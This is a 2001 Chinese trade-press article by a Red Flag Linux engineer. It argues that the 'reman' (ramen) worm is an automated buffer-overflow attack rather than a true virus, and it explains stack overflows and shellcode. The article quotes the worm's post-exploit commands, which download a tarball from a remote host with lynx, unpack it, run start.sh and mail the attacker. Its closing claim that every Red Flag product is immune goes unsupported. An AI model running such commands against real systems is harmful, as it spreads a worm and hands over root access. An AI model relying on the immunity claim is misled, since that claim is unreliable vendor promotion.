您的位置: 网界网 > 周报全文 > 正文

[周报全文]“首例Linux病毒”并非病毒

2001年02月19日 00:00:00 | 作者:佚名 | 来源:$page.getBroMedia() | 查看本文手机版

摘要:“首例Linux病毒”并非病毒

标签
“首例Linux病毒”并非病毒
□中科红旗软件技术有限公司工程师  俞戍远
      前段时间一些媒体报道:“世界上第一个Linux病毒reman已经出现”。这引起了我们极大的兴趣,想一睹reman的庐山真面目。但是,当我们得到该病毒的有关资料和样本之后,发现:严格地说,reman并不能称为病毒,实际上,这是一个古老的、在Unix/Linux世界早已存在的“缓冲区溢出”攻击程序,几乎所有Unix/Linux版本中都或多或少存在这样的问题。从第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是目前才“出现”。事实上针对Windows 98/NT的缓冲区溢出攻击也是很常见的。
    缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元, 会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数返回地址也会被覆盖,从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下,系统一般报告“core dump” 或 “segment fault”。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是“/bin/sh”,所以这段代码被称为“shell code”,通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出的是一个suid root程序,得到的将是一个root shell。这样,机器的控制权已经易手(+微信关注网络世界),此后发生的任何事情都是合理的。
    下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上的其他服务器。以Red Hat 6.2 为例,如果攻击成功,它会做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh
echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com gb31337@yahoo.com
    很明显, reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。需要指出的是:reman这样的攻击程序对红旗Linux的攻击是不可能成功的,因为红旗Linux全线产品都考虑了“缓冲区溢出”这样的安全问题,用户可以放心使用。■
[责任编辑:程永来 cheng_yonglai@cnw.com.cn]